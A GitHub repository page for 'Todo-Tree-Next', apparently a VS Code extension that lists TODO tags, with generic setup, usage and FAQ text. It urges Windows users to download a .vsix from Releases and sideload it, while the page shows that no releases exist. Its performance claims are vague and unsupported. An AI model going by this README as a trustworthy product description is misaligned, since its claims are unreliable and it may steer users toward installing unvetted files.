Skip to content

Philsober337/Todo-Tree-Next

Repository files navigation

🌲 Todo-Tree-Next - Manage project tasks with ease now

Todo-Tree-Next finds your pending tasks inside your code files. It scans your projects quickly. This tool helps you track work items. Use this to see all your TODO tags in one place.

📥 Getting Started

Follow these steps to set up the tool. You need Visual Studio Code installed on your Windows computer.

  1. Go to the Releases page.
  2. Look for the latest version at the top of the list.
  3. Click the file ending in .vsix to start the download.
  4. Save the file to a folder you can find later.

⚙️ Installation Guide

Visual Studio Code manages extensions through a simple menu. Follow these instructions to install the file you just saved.

  1. Open Visual Studio Code.
  2. Click the Extensions icon on the left sidebar. It looks like four squares.
  3. Click the three dots icon at the top right of the Extensions pane.
  4. Choose Install from VSIX from the dropdown menu.
  5. Find the file you downloaded in your folder.
  6. Select the file and click Open.
  7. Wait for the notification that the install finished.
  8. Restart Visual Studio Code to load the tool.

🖥️ System Requirements

This software works on standard Windows machines. Make sure your system meets these basic needs:

  • Windows 10 or Windows 11.
  • Visual Studio Code version 1.80 or newer.
  • Enough disk space for your project files.

The extension uses a specialized internal language to scan your files. This provides speed and efficiency. It avoids slowing down your editor while you work.

🛠️ Usage Instructions

Once installed, the tool adds a new icon to your sidebar. Click this tree icon to view your tasks.

  • The sidebar shows a list of folders.
  • Expand the folders to see files containing TODO comments.
  • Click any item to jump to that line in your code.
  • The tool updates the list when you save your files.

You can customize how the tool looks. Open the settings menu in Visual Studio Code. Search for Todo-Tree-Next. Here you can change colors, icons, and tag names.

💡 Custom Tags

By default, the tool finds labels like TODO and FIXME. You can add your own tags.

  1. Open the project settings.
  2. Find the Custom Tags section.
  3. Add the words you use to mark tasks, such as NOTE or HACK.
  4. Save your changes.

The tool will scan for these new tags next time it runs.

🔍 Frequently Asked Questions

Does the tool slow down my computer? No. The engine uses background processes to handle scanning. It keeps the editor responsive.

Can I use this for large projects? Yes. The architecture processes large codebases without trouble.

What happens if I rename my tasks? The tree view updates in real time. Your list always matches your files.

How do I remove the extension? Open the Extensions view. Right-click Todo-Tree-Next and select Uninstall.

📋 Best Practices

Use consistent labels for your tasks. This keeps your view clean. Group tasks by context or priority. Use the filter bar in the sidebar to search for specific items. This saves time when you have many tasks.

Check the sidebar often to track progress. Mark tasks as complete by removing the tag from your code. The tree view clears the item once you save the file. Keep your TODO tags descriptive. This helps you understand the task later.

🚀 Troubleshooting

If the list is empty, ensure you have TODO tags in your open files. Check that the file types you use are part of the scan list in the settings. Most common file types work automatically.

If the extension fails to load, try a clean install. Remove the extension and restart the editor. If issues persist, verify that you have the current version of Visual Studio Code. Updates to the editor can impact how extensions run. Visit the project repository if you need to report a problem.

📜 Legal Information

This project is available for your use. Keep your code updated to ensure the best performance. Check the repository for new releases regularly. Each release brings stability and minor updates.

Releases

No releases published

Packages

 
 
 

Contributors